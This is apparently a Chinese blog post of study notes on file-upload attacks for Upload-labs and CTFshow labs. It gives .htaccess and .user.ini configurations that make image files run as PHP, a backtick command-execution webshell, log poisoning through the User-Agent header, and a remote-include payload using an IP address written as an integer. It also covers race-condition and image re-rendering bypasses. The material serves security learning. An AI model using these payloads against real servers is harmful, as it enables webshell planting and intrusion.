08通用-文件上传
Jackie

文件上传

在已有文件上传知识上做的一些补充

Upload-labs通关手册

  • .htaccess文件

或者”分布式配置文件“,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config,则可以在服务器配置文件中按以下方法配置:AccessFileName.config。

它里面有这样一段代码:AllowOverride None,把None改成All

常见的配法有以下几种:

Sethandler application/x-httpd-php
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg

Sethandler将该目录及子目录的所有文件均映射为php文件类型

Addhandler使用php5-script处理器来解析所匹配到的文件

AddType将特定拓展名文件映射php文件类型

举例:

<FilesMatch "jpeg">
SetHandler application/x-httpd-php
</FilesMatch>

他会将后缀名为jpg的文件当作php文件解析

或者.htaccess写成

AddType application/x-httpd-php jpg

以php解析.htaccess文件所在目录及其子目录中的后缀为.xxx的文件

  • .user.ini

php的配置文件,.user.ini中的字段也会被php视为配置文件来处理,从而导致php的文件解析漏洞。但是想要引发.user.ini解析漏洞需要三个前提条件

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

创建一个.user.ini文件

auto_prepend_file=shell.jpg

意思是:所有的php文件都自动包含mm.jpg文件

  • 执行运算符

PHP将尝试将反引号中的内容作为shell命令来执行,使用反引号运算符的效果与函数shell_exec()相同

<?=`tac ../f*`?>
  • 补充
  1. 绕过姿势
<script language="php">echo'1';</script>
  1. 先访问一个地址,UA头改为后门代码,后门代码就会进入到日志里面,再利用.user.ini包含日志文件来触发访问UA头里的后门代码
<?=include"/var/lo"."g/nginx/access/lo"."g"?>
  1. .user.ini包含远程png

    png include带有后门代码的远程地址

    IP转数字

    在浏览器中访问http://192.168.1.1与 http://3232235777是相同的效果

    .user.ini:auto_prepend_file=png
    png:<?=include'http://3232235777'>
  2. 条件竞争

    遇到文件删除时有两种情况

    1. 什么都删除

      上传成功后,没有删除之前,文件会在这个时间段存活,然后代码立马删掉,这个时间点文件确实是上传成功了,只是快速的让你看不到而已,所以我们就在没有上传之前就不断发包,一直访问地址,当文件被创建后,就触发代码,让它创建一个文件

    2. 后门代码删除

    条件竞争:在上传成功,立马访问,创建新代码(代码被执行后重新新建一个文件)

  3. 二次渲染

    把上传的图像进行了加工,手工注入需要把后门代码写到共同体中去

    文件上传之二次渲染绕过

    • 二次渲染判定
      1. 判断上传前后大小及内容
      2. 判断上传后的文件返回数据包

    ctfshow Web164中满足了PHP文件引入图片

    xxx.php?image=yyy.png

    假如是类似于upload/yyy.png,图片中即使带有后门代码也不能被调用,还需上传.user.ini

    如果是JPG,访问返回包,发现gd-jpeg v1.0 (using IJG JPEG v80),即调用PHP内置的库来处理JPG进行二次渲染


PHP一句话木马,后缀.php→上传成功,直接利用

后缀是.jpg图片文件,无法直接利用

后缀是.jpg图片文件+文件包含→上传成功,直接利用


中间件解析&编辑器安全

IIS和Apache漏洞举例前文已提,此处不再赘述

Nginx文件名逻辑漏洞

Vulhub

Vulnhub

  • 黑盒

寻找一切存在文件上传的功能应用

  1. 个人用户中心是否存在文件上传功能
  2. 后台管理系统是否存在文件上传功能
  3. 字典目录扫描探针文件上传构造地址
  4. 字典目录扫描探针编辑器目录构造地址
  • 白盒

看三点:中间件、编辑器、功能代码

  1. 中间件直接看语言环境常见搭配
  2. 编辑器直接看目录结构或搜索关键字
  3. 功能代码直接看源码应用或搜索关键字
 评论
评论插件加载失败
正在加载评论插件